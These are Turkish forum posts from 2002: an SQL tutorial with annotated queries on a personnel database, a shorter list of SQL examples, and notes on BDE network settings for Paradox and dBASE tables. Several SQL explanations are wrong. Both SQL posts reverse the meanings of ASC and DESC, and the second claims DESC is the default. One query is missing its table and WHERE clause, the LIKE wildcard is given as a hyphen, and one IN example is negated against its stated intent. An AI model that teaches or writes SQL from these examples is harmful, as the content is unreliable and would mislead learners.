1.TEK TABLODAN SORGULAMALAR: SELECT * FROM tablo ÖRNEK: Bütün bilgileri personel tablosundan koşulsuz olarak listele. SELECT * FROM personel ÖRNEK: Personel tablosundan SEÇ komutuyla istenen sütun adlarını belirt. SELECT sicil,sosy_g_no,ad,soyad,dog_tar, sicil,sosy_g_no,ad,soyad,dog_tar, adres,cins,brüt,böl_no,yön_s_g_n FROM personel; ÖRNEK: Personel tablosundan istenen sütün başliklarini listele. SELECT sicil,ad,soyad,brüt FROM personel; DISTINCT (Tekrarsız) TANIM: SQL’de tablo içinde birbirinin aynı datalar bulunabilir.Aynı satırların listeleme esnasında bir kez yazılması için Distinct sözcüğünü kullan. ÖRNEK: Par _sat dosyasından sat_no’lar tekrarsız olarak listelenecektir. SELECT DISTINCT sat_no FROM par_sat; 2.TABLO BİLGİLERİNİN SIRALANMIŞ OLARAK LİSTELENMESİ: ORDER BY (Sırasıyla) TANIM:Tablodaki sütunlardan ,belirli bir sütuna göre listelemek için SELECT komutuna , ORDER BY eklenir. ÖRNEK: Personel dosyasından,sicil,ad,soyad,brüt sütunlarını seç ve brüt(maaşa)göre büyükten küçüğe sırala. SELECT sicil,ad,soyad,brüt FROM personel ORDER BY brüt ASC; DESC : Küçükten büyüğe sırala (A-Z) ASC : Büyükten küçüğe sırala (Z-A)
643
DESC yazılmazsa ASC direct kabul edilir (DEFAULT) 3.BİRDEN ÇOK ALANA GÖRE SIRALAMA: TANIM: Bir tablo içinde ,birden fazla sütundan aynı anda sıralamak için kullanılır. ÖRNEK )Personel dosyasından seçilen sütunlarını aynı anda hem ad,hem de otomatik olarak sıralar. SELECT sicil,ad,soyad,brüt FROM personel ORDER BY ad,brüt; ÖRNEK Personel tablosundan seçili sütunları öncelik adda olmak üzere (Z-A) adı bozmadan soyadı (A-Z) sıralı listeler. SELECT sicil,ad,soyad,brüt FROM personel ORDER BY ad ASC,soyad DESC, brüt ASC; veya; SELECT sicil,ad,soyad,brüt FROM personel ORDER BY ad,soyad DESC,brüt; KOŞULA BAGLI OLARAK LISTELEME: WHERE TANIM:Verilen koşulu saglayanlar listelenir.Iki veri birbiriyle karşilaştirilmaktadir. Karşilaştirilan verilerin türü ayni olmalidir. SELECT * FROM personel WHERE brüt > 5000000; KARŞILAŞTIRMA OPERATÖRLERI: OPERATÖR ANLAMI : < ...den daha küçük > ...den daha büyük = Eşit <= Küçük veya eşit >= Büyük veya eşit <> Eşit degil != Eşit degil !< ...den küçük değil !> ...den büyük değil 644
ÇEŞITLI VERI TIPLERI IÇIN BASIT SORGULAMALAR: 1.NÜMERİK VERİ TİPLERİ: ÖRNEK: Maaşi 8000000TL’den fazla olmayan personeli listele. SELECT * FROM personel WHERE brüt <= 8000000; 2.KARAKTER VERİ TİPLERİ (CHAR): Karakter çift veya tek tırnak ile gösterilir. ÖRNEK: Adı Ali olmayan personele ait kayıtları listele. SELECT * FROM personel WHERE ad <> “Ali”; 3.TARİH VERİ TİPİ: Tarih veri tipleri { } sembolleri içinde yazılır. ÖRNEK: Hangi personelin doğum tarihi 1960 yılından daha öncedir? SELECT * FROM personel WHERE dog_tar <={12/31/59}; 4.MANTIKSAL (LOJİK) VERİ TİPİ: Mantıksal veriler için mümkün olabilen sadece iki değer sözkonusudur.DOĞRU D(TRUE T) , YANLIŞ Y (FALSE F) ile simgelenir. ÖRNEK: Personel tablosunda personelin cinsiyetini belirten cins adlı alan mantıksal(logical) olarak tanımlanmıştır.Cinsiyeti erkek olanları D,kadın olanları y ile tanımlarsak erkek olanları listele. SELECT * FROM personel WHERE cins = .T.;
SQL Üzerine (Açıklamlı - Örnekli) - 2
0
29 Haz 2002 14:18 Eklendi
4.BİRDEN ÇOK KOŞULA DAYALI SORGULAMALAR: (NOT,AND,OR) TANIM:Mantıksal operatörlerin yardımı ile birden çok koşulun gerçekleştirmesine bağlı olarak ifade edilebilecek (karmaşık yada birleşik 645
koşullu listelemeleri gerçekleştirilmektedir.) AND (VE) ÖRNEK: Maaşı 5000000’dan fazla olan ve cinsiyeti erkek olan personelin listelenmesi istenir yani iki koşul verilmektedir ve ikisininde olmasi istenir. SELECT * FROM personel WHERE brüt >5000000 AND cins =.T.; NOT (DEĞİL) OR (VEYA) ÖRNEKLER: 1.Doğum tarihi 1960’dan önce olan maaşı 6000000 - 10000000 arasındaki bayan personelin listele. SELECT * FROM dog_tar < {01/01/60} AND brüt > = 6000000 AND brüt < =10000000 AND cins = .F.; 2.Satış bölümüyle muhasebe bölümündekiler kimlerdir? (Satış bölümünün böl_no’sunun 1 ve muhasebe bölümünün böl_no’sunun 2 olduğu varsayılmaktadır.) SELECT * FROM personel WHERE bol_no =1 OR bol_no = 2; 3.Bölümü Satış yada Muhasebe olamayan 1960’dan sonra doğmuş bayan personeli listele. 1.YAZILIM: SELECT * FROM personel WHERE NOT (böl_no =1 OR böl_no =2) AND dog_tar > ={01/01/60} AND cins =.F.; 2.YAZILIM: SELECT * FROM personel WHERE böl_no <> 1 AND böl_no <> 2 AND dog_tar > ={01/01/60} AND cins =.F.; BİR VERİ KÜMESİNDE ARAMA -IN OPERATÖRÜ IN (İÇİNDE) 646
“IN” operatörü NOT ile kullanılılabilir. ÖRNEK: Bölümü 1,2,3 olmayan personel kimlerden oluşmaktadir? SELECT * FROM personel WHERE bol_no NOT IN (1,2,3); ÖRNEK: Böl_no’su 1,2 yada 3 olan personeli listele. SELECT * FROM personel WHERE böl_no = 1 OR böl_no= 2 OR böl_no = 3; Bu örneğin IN ile yapılmış şekli daha kısadır. SELECT * FROM personel WHERE NOT böl_no IN (1,2,3); BETWEEN SORGULAMA SÖZCÜĞÜ: BETWEEN (ARASINDA) ÖRNEK: Maaşi 5- 10 milyon arasinda olan personel kimlerdir? SELECT * FROM personel WHERE brüt > =5000000 AND brüt < = 10000000; BETWEEN (ARASINDA) komutu ile daha kısa olacaktır. SELECT * FROM personel WHERE brüt BETWEEN 5000000 AND 10000000; KARAKTER TÜRÜ BİLGİ İÇİNDE ARAMA LIKE SÖZCÜĞÜ: TANIM ÖRNEĞİ: Adres sutunu içerisinde semt bölümüne ait ayrıca bir sutun olmadığını varsayarak semt adı adres sutunu içerisinde yer alır ve buradan da LIKE (BULUNAN) komutuyla adres sutunu içerisinde Taksim semtinde oturan personeli listele. SELECT * FROM personel WHERE adres LIKE ‘% TAKSİM %’ ; 647
Adres LIKE ‘%TAKSİM%’ ifadesi adres içinde her hangi bir yerde TAKSİM yazan yerde oturan personeli listeleyecektir. LIKE sözcüğünü ,alt çizgi (-) sembolü ile birlikte kullanmakta mümkündür. SELECT * FROM personel WHERE ad LIKE ‘Mehmet -----‘; Şekildeki komut ile ad alani “Mehmet “ ile başlayan ve ad alani uzunlugu 10 karakter olan isimlere sahip personeli listeleyecektir.”Mehmet Ali”,”Mehmet Can”- “Mehmetcik” gibi isimler listeleyecektir.Anlaşilacagi gibi - sembolü , tek karakterlik bir bilgiyi temsil etmektedir. 5.SQL’DE ARİTMETİKSEL İFADELER VE FONKSİYONLAR : KÜME FONKSİYONLARI: SUM FONKSİYONU: SUM (TOPLA) Fonksiyonun argümanı olarak belirtilen sütun ile ilişkili olana toplama işlemini gerçekleştirir. ÖRNEK: İşletmedeki personelin brüt maaşlar toplamı ne kadardır? SELECT SUM (brüt) FROM personel; AVG FONKSİYONU: AVG (ORTALA) Aritmetiksel ortalama (average) hesaplamak için kullanılır. SELECT AVG(brüt) FROM personel; MAX FONKSİYONU: MAX (EN ÜST) Tablo içinde ,belirtilen sutun (alan)içindeki en büyük değeri bulur. ÖRNEK: İşletme içindeki en yüksek maaş ne kadardır? SELECT MAX (brüt) FROM personel;
648
MIN FONKSİYONU: MIN (EN ALT) Tablo içinde,belirlenen sutun alan içindeki en küçük değeri bulur. ÖRNEK: İşletme içinde 4 Mayıs 1970’den önce doğanlar için,asgari ücret nedir? SELECT MIN(brüt) FROM personel WHERE dog_tar < {05/04/70}; COUNT FONKSİYONU: COUNT (SAY) Tablo içinde, her hangi bir sayma işlemi gerçekleştirmek için kullanilir. ÖRNEK:Ücreti 6000000’dan olan personel sayısı nedir? SELECT COUNT (*) FROM personel WHERE brüt > 6000000; COUNT (SAY) fonksiyonu DISTINCT (TEKRARSIZ)sözcüğü ile de kullanılır. ÖRNEK: Personel tablosunda mevcut personelin işletme içinde kaç tane farkli bölümde çaliştigini bul. SELECT COUNT(DISTINCT böl_no) FROM personel; COUNT (böl_no)
SQL Üzerine (Açıklamalı - Örnekli) - 3
0
29 Haz 2002 14:19 Eklendi
6.GRUPLANDIRARAK İŞLEM YAPMA: GROUP BY (GRUPLA) ÖRNEK: Her bölümdeki ortalama maaş nedir? SELECT böl_no,AVG (brüt) FROM personel GOUP BY böl_no; HAVING: HAVING (SAHİP)
649
Gruplandırarak kümeleme fonksiyonunu uygularken koşulda verilebilir.Bu durumda grup üzerindeki hesaplamalarla ilgili koşul belirtilirken HAVING (SAHİP) sözcüğü kullanılır. ÖRNEK: En yüksek maaşin 9000000’dan fazla oldugu bölümlerdeki personele ait ortalama maaşlari listele. SELECT böl_no,AVG (brüt) FROM personel GROUP BY böl_no HAVING AVG(brüt)> 9000000; HAVING sözcüğü SELECT konusunda GROUP BY bulunmadığı zaman geçersizdir. HAVING sözcüğünü izleyen ifade içinde SUM , COUNT(*) ,AVG, MAX yada MIN fonksiyonlarından en az biri bulunmalıdır. HAVING sözcüğü sadece gruplanmış veriler üzerindeki işlemlerde geçerlidir. WHERE sözcüğü bir tablonun tek tek satırları üzerinde işlem yapan koşullar içinde geçerlidir. Bazı durumlarda HAVING ve WHERE sözcükleri ile birlikte SELECT komutu içinde kullanılabilir. ÖRNEK: Personel tablosu içinde her bölümde erkek personele ait maaşlar için ortalamanin 9000000’dan fazla oldugu bölümleri listele. SELECT böl_no, AVG (brüt) FROM personel WHERE cins= .T. GROUP BY böl_no HAVING AVG (brüt) > 9000000; BİRDEN FAZLA TABLOYU İLİŞKİLENDİRMEK: JOIN (İLİŞKİLENDİR) ÖRNEK: Personel ve bölüm adlı 2 tablo bulunmaktadır. Çalışan her personel ve personelin yöneticisi ile ilişkili bilgiler nelerdir? SELECT * FROM personel,bölüm WHERE personel .böl_no=bölüm.bölüm_no ; ÖRNEK: JOIN (İLİŞKİLENDİR) işleminde arzu edilen(sicil,ad,soyad,böl_no,yön_s_g_n) alanların listele. SELECT sicil,ad,soyad,böl_no,yön_s_g_n FROM personel,bölüm WHERE personel .böl_no = bölüm .bölüm_no; SELF-JOIN: KENDİSİYLE -İLİŞKİLENDİR: TANIM:Bir tablonun kendisi ile birleştirilmesine “KENDISIYLEILIŞKiLENDIR” denir.(SELF-JOIN)
650
SELECT A. sicil , A.ad , A.soyad, B .ad , B.soyad , B.dog_tar FROM personel A , personel B WHERE A. yon_sos_g_n =B .sosy_g_no; NESTED SELECTS: İÇİÇE SEÇİMLER TANIM: İç içe geçmiş SELECT komutlarından oluşur. İçteki Select komutunun bulduğu sonucu dış takı komutumuz işlevini yerine getirmesi için kullanılır. ÖRNEK:Parça numarası 24 olan parçayı ,projelerde kullanan çalışan personeli listele. SELECT * FROM personel WHERE sosy_g_no IN(SELECT per_s_g_no FROM parça,proje,çalışma WHERE pr_no = proj_no AND proj_no =proj_no AND par_no =24); ÖRNEK: Fatih’te oturan personelin çalıştığı projelerin adlarını ve yerlerini listele. SELECT proj_ad,yer FROM proje WHERE proj_no IN (SELECT proje_no FROM personel,çalışma WHERE sosy_g_no = per_s_g_no AND adres LIKE “% fatih %”); UNION SÖZCÜĞÜ: UNION (BİRLEŞİM) TANIM: İki ayrı SEÇ komutunun sonucunda elde edilen tabloların birleşimi işlemini gerçekleştirir. ÖRNEK: Adı Ahmet ve Soyadı Caner olan kişi yada kişileri işletmenin yürüttüğü projelerde çalışan bir kişi (sıradan bir personel yada bölüm yöneticisi)olarak bulunduran projelerin isimlerini ve projelerin yürütüldü ğü yerleri listele. (SELECT proj_ad,yer FROM proj,bölüm,personel WHERE bl_no=bölüm_no AND y_sos gno = sosy_g_no 651
AND ad =”Ahmet”AND soyad =”Caner”) UNION (SELECT proj_ad,yer FROM proje,çalışma,personel WHERE proj_no = proje_no AND Per_s_g_no = sosy_g_no AND ad =”Ahmet” AND soyad =”Caner”) KOŞULLAR: UNION (BİRLEŞİM) sözcüğü ile ,iki yada daha çok kişi SELECT ’in sonucu olan tabloların küme birleşimi işlemine tabi tutulması için 2 koşul gereklidir. 1) SELECT komutları sonucunda elde edilecek tablolar aynı sayıda kolon içermelidirler. 2)Sonuç tabloları karşılıklı olarak kolonların aynı veri tipi ve aynı genişlikte olmalıdır. ANY : ANY (HER HANGİ BİRİ) ÖRNEK:Satış bölümünde çalışan personelin her hangi birinden daha düşük maaş alan ve mühendislik bölümündeki kişileri listele. SELECT * FROM personel WHERE brüt < ANY (SELECT brüt FROM personel WHERE böl_no = 2) AND böl_no =1; Aynı ifade aşağıdaki gibi yazılabilir: SELECT * FROM personel WHERE brüt < (SELECT MAX (brüt ) FROM personel WHERE böl_no = 2) AND böl_no =1; ALL (HEPSİ) ÖRNEK: Satış bölümünde çalışan ve mühendislik bölümündeki personelin hepsinden daha fazla maaş alan personeli listele.Bu örnekte satış bölümü kodu = 2 ve mühendislik bölümü kodu = 1 alınmıştır. YAPILIŞ YOLU: 1) SELECT * FROM personel WHERE brüt > ALL (SELECT brüt FROM personel 652
WHERE böl_no = 1) AND böl_no = 2;
2) SELECT * FROM personel WHERE brüt > (SELECT MAX (brüt) FROM personel WHERE böl_no = 1) AND böl_no =2; EXISTS (MEVCUT) VE ,VEYA ,DEĞİL operatörleri ile kullanılabilir. ÖRNEK: 27 no’lu parçayı satan satıcılarla ilişkili tüm bilgileri listele. SELECT * FROM satıcı WHERE EXISTS (SELECT * FROM par_sat WHERE sat_no = satıcı_n AND parça_n =27); NOT EXISTS (MEVCUT DEĞİL) VE ,VEYA ,DEĞİL operatörleri ile kullanılabilir. ÖRNEK: 27 no’lu parçayı satmayan satıcılar kimlerdir? SELECT * FROM satıcı WHERE NOT EXISTS (SELECT * FROM par_sat WHERE sat_no = satıcı_n AND parça_n =27); EXCEPT (FARKLI) Tablo-1 - Tablo-2 işlemi sonuç(iki kümenin farki) elde edilecek tabloda,Tablo-1’de bulunup, Tablo-2’de bulunmayan veriler mevcut olacaktir. ÖRNEK:Satış bölümündeki personel adlarından,mühendislik bölümünde bulunmayanları listele. 653
SELECT * FROM (SELECT ad FROM personel WHERE bol_no=1 EXCEPT SELECT ad FROM personel WHERE bol_no =2); INTERSECT (KESİŞİM) ÖRNEK: Hem Ankara’da,hem de İstanbul’daki projelerde görev alan bölümleri listele. SELECT * FROM (SELECT bl_no FROM proje WHERE yer LIKE “%Ankara%” INTERSECT SELECT bl_no FROM proje WHERE yer LIKE “%İstanbul%”); SAVE TO TEMP (SAKLA) ÖRNEK: Bayan personeli,bayan adlı bir tablo içinde sakla. SELECT * FROM personel WHERE cins =.F. SAVE TO TEMP bayan; KEEP: KEEP (KALICI) ÖRNEK: SELECT * FROM personel WHERE cins = .F. SAVE TO TEMP bayan KEEP;
SQL Üzerine (Açıklamalı - Örnekli) - 4
0
29 Haz 2002 14:19 Eklendi
7.TABLOLARDA DEĞİŞİKLİK YAPMAK: INSERT (EKLE) INTO (İÇİNE)
654
VALUES (DEĞERLER) ÖRNEK: Bir personel tablosuna sicil_no’su 275 olan personel ile ilişkili bilgileri ekle. INSERT INTO personel(sicil, sosy_g_no,ad,soyad,doğ_tar adres,cins,brüt,böl_no,yön_s_g_no VALUES(‘275’,’27652418’,’Ali’,’Caner’, {10/05/1962},’Merkez caddesi 46 -Fatih-İstanbul’, .T.,27000000,2,’876215342’); DELETE (SİL) ÖRNEK: 2 no’lu bölümdeki personelin tümü tablodan sil. DELETE FROM personel WHERE böl_no = 2; 5 ROWS DELETED 5 SATIR SİLİNDİ ÖRNEK:Brüt maaş alani boş olmayan tüm personeli sil. DELETE FROM personel WHERE brüt IS NOT NULL; 25 ROWS DELETED 25 SATIR SİLİNDİ UPDATE (GÜNCELLE) SET (YAP) ÖRNEK:2’inci bölümün yürüttüğü projelerde kullanılan tüm parçaların fiyatlarını % 7 zam yap. UPDATE parça SET fiyat = fiyat *1,07 WHERE pr_no IN (SELECT proj_no FROM proje WHERE bl_no = 2; CREATE INDEX (INDEKS YARAT ) ON (Hangi Tablo İçin) CREATE INDEX ındeks adı ON tablo adı(kolon adı 1,kolon adı 2,.,.kolon adı n); 655
TEK BİR ALANA GÖRE ARTAN SIRADA İNDEKSLEME : ÖRNEK:İşletmede çalışan personeli brüt maaşlarına göre artan sırada listele.(Brüt alana göre bir indeks oluşturmalıyız) CREATE INDEX pers_maas ON personel(brüt); INDEX CREATED 127 ROWS İNDEKS YARATILDI 127 SATIR 127 satırlık personel tablosu ile ilişkili olarak brüt kolonu indeks anahtarı olarak kullanan pers_maas adlı indeks oluşturulmuştur.Bu durumda; SELECT * FROM personel; _Şeklinde listeleme komutu sonucunda personel tablosundaki tüm personel, brüt maaşlarina göre sirali olarak listelenecektir. TEK BİR ALANA GÖRE AZALAN SIRADA İNDEKSLEME : DESC Küçükten büyüğe (K-B) ÖRNEK:İşletmede çalışan personeli brüt maaşlarına göre azalan sırada (yüksek maaştan düşük maaşa doğru)listelemek istersek ,brüt alanına göre aşağıdaki şekilde oluşturmak gerekir. CREATE INDEX ON personel (brüt DESC); BİRDEN FAZLA ALANA GÖRE İNDEKSLEME : ÖRNEK:İşletmedeki personelin öncelikle adlarına göre,aynı adda olanların soyadlarına göre ,hem adı hemde soyadı aynı olanların maaşlarına göre sıralanmış olarak listele. CREATE INDEX p_ad_soy_m ON personel (ad,soyad,brüt); Bu durumda; SELECT * FROM personel;
UNIQUE (TEK) Bir tablo,seçilen bir sutüna (alana) göre indekslenirken , indeksleme alanı olarak seçilen sutündaki verilerintekrarlanmasına müsaade edilmesi istenmiyorsa,indeksleme yapılırken ,CREATE ,INDEX komutu iinde UNİQUE sözcüğü kullanılmalıdır. 656
CREATE UNIQUE INDEX pers_sicil ON personel (sicil); EKLEME İÇİN: Personel tablosuna INSERT INTO Personel VALUES(53768 ,’27241685’,’ayşe’, ‘şen’{01/04/63},’Merkez cad. 82 Kadıköy’.F. ,27000000 ,2, ‘34261578’); MEVCUT BİR İNDEKSİN SİLİNMESİ: DROP IPTAL DROP INDEX pers_in; Komutu ile INDEX DROPPED (İNDEKS SİLİNDİ) TABLONUN YAPISINDA DEĞİŞİKLİK YAPMAK: ALTER TABLE (TABLO DEĞİŞTİR) MEVCUT BİR TABLOYA KOLON EKLEMEK: ADD (EKLE) ALTER TABLE (TABLO DEĞİŞTİR) komutu içinde ADD (EKLE) ile satır ekle. ÖRNEK:Personel tablosuna ,işe başlama tarihini belirten bir kolon ekle ALTER TABLE personel ADD iş_baş_tar DATE; ADD (EKLE)iş_baş_tar DATE NOT NULL (TARIH DEGERSIZ) bu şekilde kullanilsaydi bu kolon satiri gene boş kalirdi ; fakat bu kolon ile ilişkili yeni boş degerler eklemek istendiginde buna müsaade edilmeyecekti. MEVCUT BİR TABLONUN ALANLARINDA DEĞİŞİKLİK YAPMAK : MODIFY KOMUTU: MODIFY (DEĞİŞTİR) MEVCUT BİR TABLODAN BİR KOLON SİLMEK: DROP KOMUTU : DROP (İPTAL) 657
ÖRNEK:Personel tablosundan iş_baş_tar kolonunu sil. ALTER TABLE personel DROP iş_baş_tar ; Birden fazla kolonda silinebilir.Birden fazla kolon silmek için virgülle ayrılarak silinir. BİR TABLONUN ADINI DEĞİŞTİRMEK: RENAME KOMUTU: RENAME (TABLO YENİ AD) ALTER TABLE personel personel Tablosunda değişiklik yap RENAME TABLE elemanlar; elemanlar tablosunun adını değiştir MEVCUT BİR TABLONUN BİR KOLONUNUN ADININ DEĞİŞTİRİLMESİ: RENAME: RENAME YENİ AD ALTER TABLE personel RENAME brüt br-maaş; MEVCUT BİR TABLONUN TÜMÜYLE SİLİNMESİ DROP TABLE (TABLO İPTAL) ÖRNEK:Proje tablosunu sil. DROP TABLE proje; VERİ GÜVENLİĞİ: CREATE VIEW GÖRÜŞ ALANI YARAT ÖRNEK:Personel adlı temel tablodan persview adlı bir view oluştur. CREATE VIEW perswiew AS SELECT sicil,sos_g_no,ad,soyad,doğ_tar, adres,cins,böl_no,yon_s_g_no FROM personel; VERİ BÜTÜNLÜĞÜNÜN SAĞLANMASI: WITH CHECK OPTİON KONTROLLÜ CREATE VIEW UST_PER_ VIEW 'Önce bir vıew oluşturulsun 658
AS SELECT FROM personel WHERE brüt >25000000 WITH CHECK OPTION; Burada, maaşi 25000000’ün üzerinde olan personelden oluşan bir UST_PER_VIEW adli view oluşturulmuştur.Bu view’a brüt maaşi 13000000 olan bir personel eklemek istedigi zaman hata mesaji verecektir. CHECK opsiyonu kullanılmasaydı hata mesajı alınmadan bu veri VİEW içine yükleyecekti. EKLEME INSERT INTO UST_PER_VIEW VALUES (27521 ,’27865427’,’ayşe’, ‘okan’ ,{01/05/1962}’Cumh. Cad. 46 - Taksim’, .F.,13000000 ,1 ,’27651112’); VIEW İÇİNDE SATIR SİLME: ÖRNEK:UST_PER_VIEW içinden,maaşi 2500000’den az olan kişileri sil. DELETE FROM UST_PER_VIEW WHERE brüt < 25000000; VIEW SATIRLARI ÜZERİNDE GÜNCELLEME : ÖRNEK: UST_PER_VIEW adlı view’de sicili 27251 olan kişnin maaşını 37000000 olarak değiştir. UPDATE UST_PER_VIEW SET brüt = 37000000 WHERE sicil = 27251; BİR VIEW’U SİLMEK: DROP VIEW (GÖRÜŞ ALANI IPTALI) DROP VIEW UST_PER_VIEW; GÖRÜŞ ALANI IPTALI UST_PER_VIEW;
SQL Üzerine (Örnekler)
1
8 Tem 2002 05:01 mfo
"Select * From Employees" Employees tablosundan tüm alanlari seç. En basit SQL sorgusu budur. -------------------------------------------------------------------------------------------------------"Select * From Title Where [Year Published] < 1889" 659
Title tablosundan [Year Published] alani degeri 1889'dan küçük olan tüm kayitlari seç. Not: * isareti tüm alanlarin seçilecegini gösterir. [ ] "Köseli ayraç ise alan adi bir kelimeden fazla ise kullanilmalidir. Yani yukaridaki alan adi sadece "Year" olsaydi köseli ayraç kullanmaya gerek kalmayacakti. -------------------------------------------------------------------------------------------------------"Delete From Titles Where [Year Published] < #1/1/1889#" Titles tablosundan [Year Published] alani degeri 1/1/1889'dan küçük olanlarin tümünü sil -------------------------------------------------------------------------------------------------------"Select Name, Picture From Authors Where Date_of_Birth = #2/1/1947#" Authors tablosundan Date_of_Birth = 2/1/1947 denkligi olan kayitlardan Name ve Picturealanlarini seçDikkat ederseniz tüm sorgularda sabit bir SELECT ... WHERE .... yapisi var. Select seçimin nereden yapilacagini Where ise eslesme kriterlerini göstermektedir.Bu örnekte * isareti kullanilmamis ve sadece iki alan seçilmistir: "name" ve "picture"Tarih ifadeleri ise # isaretleri arasinda yazilmalidir. -------------------------------------------------------------------------------------------------------"Select [First Name], [Last Name] From Employees" Employees tablosundan sadece First Name ve Last Name alanlarini seç -------------------------------------------------------------------------------------------------------"Select Employees, Department, SupvName From Supervisors, Employees Where Employees.Department = Supervisors.Department" Bu biraz daha karisik. Burada iki tablo var: Supervisors ve Employees. Bu iki tablodan üç adet alan seçilecek: 1.Employees, 2.Department, 3.SupvName. Bu iki tabloda da Department adli birer alan var. Iste bu alanlarin denkligi ile seçim yapiliyor. Yani Employees tablosunun Department alani ile Supervisor tablosunun Department alani esit ise seçim yapiliyor. -------------------------------------------------------------------------------------------------------"Select Distinct [Last Name] From Employees" Employees tablosundan Last Name degeri ayni olan kayitlardan sadece birini al. Distinct anahtari birden fazla ayni deger var ise sadece ilkini alir. -------------------------------------------------------------------------------------------------------"Select [Last Name], Salary From Employees Where Salary > 2100" Salary degeri 2100'den küçük olan Employees tablosu kayitlarindan yalnizca Last Name alanlarini seç. -------------------------------------------------------------------------------------------------------"Select * From Orders Where [Shipped Date] = #5/12/93#" Orders tablosundan Shipped Date degeri 5/12/93'e esit olan kayitlarin tüm alanlarini seç. -------------------------------------------------------------------------------------------------------"Select [Product Name], Sum ([Units in Stock]) From Products Group By [Product Name]"
660
Products tablosundan Product Name ve Unit in Stocks alanlarini al. Ancak burada dikkat edilmesi gereken Sum( ) fonksiyonudur. Bu fonksiyon her alan degerini birbiri üzerine toplar. Seçilen alanlarin tabloya yerlestirilmesi ise Product Name alan degerinin alfabetik sirasina göre A-Z olarak yapilir. -------------------------------------------------------------------------------------------------------"Select * From Employees Order By [Last Name], Asc" Employees tablosundaki tüm alanlari Last Name alan degerine göre Z-A siralamasina göre seç Yani tablodan tüm kayitlar alinacaktir, çünkü kriter olarak kullanilan WHERE sözcügü yoktur. Ancak alinan tüm kayitlar Last Name alan degerinin Z-A alfabetik sirasina göre (ters sira) siralanir. Soyadi Zahit olan kisi soyadi Orhun olan kisiden önce gösterilir. Sorgunun sonunda kullanilan ASC anahtari seçimliktir (optional). Herhangi bir sey yazilmazsa, bu anahtar degerinin DESC (A-Z) oldugu kabul edilir. -------------------------------------------------------------------------------------------------------"Select [Last Name], Salary From Employees Order By Salary, Desc, [Last Name] Veritabanindan alinan kayitlarin listelemesi islemi burada iki kritere göre yapilmakta. Önce kisilerin maaslari (Salary), sonra da soyadlari (Last Name) dikkate alinmakta. Söyle düsünün; Bir sirkette ayni maasi alan 3 kisi var. Bu kisilerin soyadlari Akin, Bahçe ve Celep olsun...Bu sorgu sonucu sirkette çalisan herkes listelenecektir. Ancak bizim bu üç kisi pespese listelenecek ve siralama Akin-Bahçe-Celep seklinde olacaktir. Asagidaki örnege bakiniz: Last Name Salary Filiz 300.000.000 Kara 275.000.000 Akin 250.000.000 Bahçe 250.000.000 Celep 250.000.000
661
Paradox ve dBASE tabloları için BDE ağ tanımları
11
8 Ağu 2002 09:08 mcuyan
Çok Sorulduğu için bi makale yazmak gereği duydum. Paradox ve Dbase tablolarını ağda çalıştırabilmek için Aşağıdaki BDE ayarlarını Kullanın. ANA MAKİNA AYARLARI Ana Makina Adı: Server Disk paylaşım adı : C Paradox veya dBASE tablolarının bulunduğu Klasör c:\Prog\Data PDOXUSRS.NET dosyasının yeri: c:\ Ana Makina BDE Ayarları: DataBAse sekmesi: Alias: MyProg Path : c:\Prog\Data Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: C:\ (PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Configuration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE TERMİNAL MAKİNA BDE AYARLARI: DataBAse sekmesi: Alias: MyProg Path : \\Server\Prog\Data Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: \\Server\c (Ana makinadaki PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Congiguration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE Yukarda anlatılan ayarlaın dışında şayet terminalden ana makina için bir ağ yolu tanımlamışsanız terminal ayarları aşağıdaki gibi de olabilir. Ana makinanın diskine F diye bir ağ yolu tanımladıysak ayarlar şu şekilde olacaktır. DataBAse sekmesi: Alias: MyProg Path : F:\Prog\Data
662
Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: F:\ (Ana makinadaki PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Congiguration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE Ancak bu tanımda dikkat edilmesi gereken şey F ağ yolu koptuğunda program çalışmayacaktır. .exe dosyanızı terminalden istediğiniz klasörden çalıştırabilirsiniz. Kolay gelsin.......... http://community.borland.com/article/0,1410,15247,00.html
Borland Developer Network Home > Delphi & Kylix
BDE setup for Peer-To-Peer(Non-Dedicated) Networks - by Borland Developer Support Staff Technical Information Database TI247B.txt BDE setup for Peer-To-Peer(Non-Dedicated) Networks Category :General Programming Platform :All Product :BDE 3.0 Description: Using a BDE32 Application on a Peer-To-Peer Network --------------------------------------------------A Peer-To-Peer network (a network where each machine acts as a client and a server) can be one of the following, including other network platforms that are compatible with these: 1) Windows 95 2) Windows NT 3) Lantastic 4) Netware Lite The BDE automatically detects when tables reside on a network drive, but it cannot detect whether the tables are on a dedicated server or a server/client. Dedicated servers notify client applications that a file has been modified or locked. This functionality is not present in Peer-To-Peer (non-dedicated) networks. To achieve this 663
functionality with Peer-To-Peer networks set "LOCAL SHARE" to TRUE in the BDE Configuration Utility on the System page. This must be done on all BDE clients that access the tables on networks listed above. This is not necessary for Novell File Server type networks. If the tables that are being used are Paradox, there must also be a directory used for network control. This directory must also reside on the network for all client applications to use. It is good practice to have a separate directory for the application, network, and tables. The following is an example: (Shared Directory) | |--- (Tables Directory) |--- (EXE Directory) |--- (Network Directory) There are two different BDE environments that must also be considered: 1) Using only BDE 32Bit applications. 2) Using BDE 32Bit applications along with BDE 16Bit applications. Setup for 32Bit Only Applications --------------------------------The 32Bit BDE fully supports the UNC naming convention along with long file names. It is recommended that the UNC convention is used for all BDE network connections. UNC removes the need for mapped drives. This will allow access to the tables and network directory without the user being mapped to the drive. UNC has the following syntax: \\(server name)\(share name)\(path)+(file name) Here is a simple example of a standard BDE alias using UNC: Alias: MyUNCAlias Type: STANDARD Path: \\FooServer\FooShare\Sharedir\Tables Default Driver: Paradox The network directory can be setup in the same fashion: Drivers: Paradox Net Dir: \\FooServer\FooShare\Sharedir\NetDir The network directory can be set at runtime using session.netfiledir (Delphi) or DbiSetProp (C++ / Delphi) 664
